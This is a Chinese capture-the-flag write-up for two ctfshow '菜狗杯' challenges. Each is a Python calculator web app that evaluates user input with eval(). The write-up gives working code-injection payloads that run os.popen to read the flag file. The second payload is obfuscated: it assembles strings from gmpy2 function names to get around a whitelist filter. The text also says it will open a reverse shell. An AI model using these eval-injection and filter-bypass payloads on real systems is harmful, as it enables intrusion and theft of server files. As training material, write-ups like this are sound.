题目来源:ctfshow菜狗杯
算力超群
考点:抓包,eval()函数利用,漏洞利用
打开发现是个计算器。一般碰到计算器就很容易和命令执行扯到一块。 随便计算下然后抓个包
发现是get方法,改参数让它报错。发现eval()函数。
python语言,用危险函数
eval()
进行运算。这里我们使用沙箱逃逸,执行命令反弹shell。
payload
_calculate?number1=&operator=&number2=__import__('os').popen('cat /f*').read()
算力升级
考点:python库,拼接绕过,漏洞利用
打开,查看源码。
code是输入框提交的内容,下面这段代码是将code中由字母、数字、下划线组成的字符串取出
pattern=re.compile(r'\w+')
for item in pattern.findall(code):
如果取出的不是数字就判断是否为gmpy2库(高精度算术运算库)的函数名,如果最后都是就eval(code)代码执行
那么我们可以看一下gmpy2库的函数有什么是可以利用的
先在本地安装gmpy2库,pip install gmpy2
查看所有函数名,结果有很多,不过没有可以直接利用的
import gmpy2
print(dir(gmpy2))
里面有gmpy2和__builtins__,看看gmpy2.__builtins__支持哪些函数,发现有eval
那么我们就可以通过对gmpy2库中的函数名中的字母进行拼接,来等效
gmpy2.__builtins__['eval']("os.popen('cat /flag').read()")
这里可以直接用os是因为import os了,如果没有可以用
gmpy2.__builtins__['eval']("__import__('os').popen('cat /flag').read()")
payload
gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]]('cos'[1]+'cos'[2]+"."+'cmp'[2]+'cos'[1]+'cmp'[2]+'erf'[0]+'jn'[1]+"("+"'"+'cmp'[0]+'ai'[0]+'cot'[2]+" "+"/"+'erf'[2]+'lcm'[0]+'ai'[0]+'agm'[1]+"'"+")"+"."+'erf'[1]+'erf'[0]+'ai'[0]+'add'[1]+"("+")")